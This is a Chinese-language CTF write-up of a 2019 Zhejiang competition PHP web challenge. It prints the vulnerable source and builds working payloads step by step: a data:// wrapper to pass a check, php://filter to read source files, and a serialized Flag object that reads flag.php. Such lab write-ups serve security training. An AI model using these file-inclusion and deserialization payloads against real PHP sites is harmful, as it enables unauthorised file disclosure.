CTFHub_浙江省大学生网络与信息安全竞赛-决赛-2019-Web-逆转思维(data协议、php://filter协议读文件、反序列化)
进入场景,显示源代码
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
第一步
我们要让第一个if条件成立,可以使用data协议
/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
第二步
题目有第二个参数file,需要include()这个file,题目提示我们要包含useless.php
同时有一个黑名单判断是file参数不能传入flag,也就是我们不能直接包含flag.php
利用php://filter协议读取这个useless.php
/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
返回一串base64数据
base64解码得到useless.php
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
第三步
最后一个参数是password,php代码里面有反序列化这个传入的值,所以只要让最后反序列化出来的file等于flag.php就好了。
构造payload
<?php class Flag{//flag.php public $file="flag.php"; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("HAHAHAHAHA"); } } } $flag = new Flag(); echo serialize($flag); ?> payload: O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload
/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源代码,拿到flag。
参考:https://blog.csdn.net/qq_41429081/article/details/103403463